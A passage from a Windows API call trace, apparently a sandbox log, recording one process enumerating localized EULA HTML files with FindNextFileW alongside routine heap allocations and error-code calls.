(HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631400 [0156.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0156.469] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c6124, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c6124, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1af6d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_ar-sa.htm", cAlternateFileName="EULA_A~1.HTM")) returned 1 [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.469] SetLastError (dwErrCode=0x5) [0156.469] GetLastError () returned 0x5 [0156.469] SetLastError (dwErrCode=0x5) [0156.469] GetLastError () returned 0x5 [0156.469] SetLastError (dwErrCode=0x5) [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0156.469] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c74ab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c74ab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3de0d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_bg-bg.htm", cAlternateFileName="EULA_B~1.HTM")) returned 1 [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0156.469] SetLastError (dwErrCode=0x5) [0156.469] GetLastError () returned 0x5 [0156.469] SetLastError (dwErrCode=0x5) [0156.469] GetLastError () returned 0x5 [0156.469] SetLastError (dwErrCode=0x5) [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0156.469] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c882e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c882e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14573, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_cs-cz.htm", cAlternateFileName="EULA_C~1.HTM")) returned 1 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] GetLastError () returned 0x5 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] GetLastError () returned 0x5 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0156.470] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3caf18, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3caf18, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe95, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_da-dk.htm", cAlternateFileName="EULA_D~1.HTM")) returned 1 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] GetLastError () returned 0x5 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] GetLastError () returned 0x5 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0156.470] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d10e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d10e9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1133d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_de-de.htm", cAlternateFileName="EULA_D~2.HTM")) returned 1 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0156.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] GetLastError () returned 0x5 [0156.470] SetLastError (dwErrCode=0x5) [0156.470] GetLastError () returned 0x5 [0156.470] SetLastError (dwErrCode=0x5) [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0156.471] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d2466, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d2466, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3a756, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_el-gr.htm", cAlternateFileName="EULA_E~1.HTM")) returned 1 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] GetLastError () returned 0x5 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] GetLastError () returned 0x5 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.471] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d5f05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d5f05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_en-gb.htm", cAlternateFileName="EULA_E~2.HTM")) returned 1 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] GetLastError () returned 0x5 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] GetLastError () returned 0x5 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0156.471] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d997f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d997f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_en-us.htm", cAlternateFileName="EULA_E~3.HTM")) returned 1 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] GetLastError () returned 0x5 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] GetLastError () returned 0x5 [0156.471] SetLastError (dwErrCode=0x5) [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0156.471] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dad37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dad37, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_es-es.htm", cAlternateFileName="EULA_E~4.HTM")) returned 1 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0156.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.471] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6542b8 [0156.472] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dc0bd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dc0bd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_es-mx.htm", cAlternateFileName="EU6344~1.HTM")) returned 1 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653958 [0156.472] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dd45a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dd45a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf67d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_et-ee.htm", cAlternateFileName="EU56AC~1.HTM")) returned 1 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653ef8 [0156.472] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dfb2b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dfb2b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1145a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_fi-fi.htm", cAlternateFileName="EULA_F~1.HTM")) returned 1 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] GetLastError () returned 0x5 [0156.472] SetLastError (dwErrCode=0x5) [0156.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653e80 [0156.473] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e0ee6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e0ee6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_fr-ca.htm", cAlternateFileName="EULA_F~2.HTM")) returned 1 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] GetLastError () returned 0x5 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] GetLastError () returned 0x5 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653d90 [0156.473] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e2266, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e2266, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_fr-fr.htm", cAlternateFileName="EULA_F~3.HTM")) returned 1 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] GetLastError () returned 0x5 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] GetLastError () returned 0x5 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6540d8 [0156.473] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e35dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e35dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xd3187, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_he-il.htm", cAlternateFileName="EULA_H~1.HTM")) returned 1 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] GetLastError () returned 0x5 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] GetLastError () returned 0x5 [0156.473] SetLastError (dwErrCode=0x5) [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6539d0 [0156.473] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e977f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e977f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_hr-hr.htm", cAlternateFileName="EULA_H~2.HTM")) returned 1 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0156.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] GetLastError () returned 0x5 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] GetLastError () returned 0x5 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653f70 [0156.474] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ebeab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ebeab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14a5a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_hu-hu.htm", cAlternateFileName="EULA_H~3.HTM")) returned 1 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] GetLastError () returned 0x5 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] GetLastError () returned 0x5 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654150 [0156.474] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ed234, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ed234, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f6d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_it-it.htm", cAlternateFileName="EULA_I~1.HTM")) returned 1 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] GetLastError () returned 0x5 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] GetLastError () returned 0x5 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653c28 [0156.474] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ef94a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ef94a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3354e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_ja-jp.htm", cAlternateFileName="EULA_J~1.HTM")) returned 1 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0156.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.474] SetLastError (dwErrCode=0x5) [0156.474] GetLastError () returned 0x5 [0156.474] SetLastError (dwErrCode=0x5) [0156.475] GetLastError () returned 0x5 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6543a8 [0156.475] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f205a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f205a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ace3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_ko-kr.htm", cAlternateFileName="EULA_K~1.HTM")) returned 1 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] GetLastError () returned 0x5 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] GetLastError () returned 0x5 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654588 [0156.475] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f33e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f33e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1293b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_lt-lt.htm", cAlternateFileName="EULA_L~1.HTM")) returned 1 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] GetLastError () returned 0x5 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] GetLastError () returned 0x5 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653ca0 [0156.475] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f5af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f5af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x147c5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_lv-lv.htm", cAlternateFileName="EULA_L~2.HTM")) returned 1 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] GetLastError () returned 0x5 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] GetLastError () returned 0x5 [0156.475] SetLastError (dwErrCode=0x5) [0156.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653e08 [0156.476] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fa921, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fa921, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10674, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_nb-no.htm", 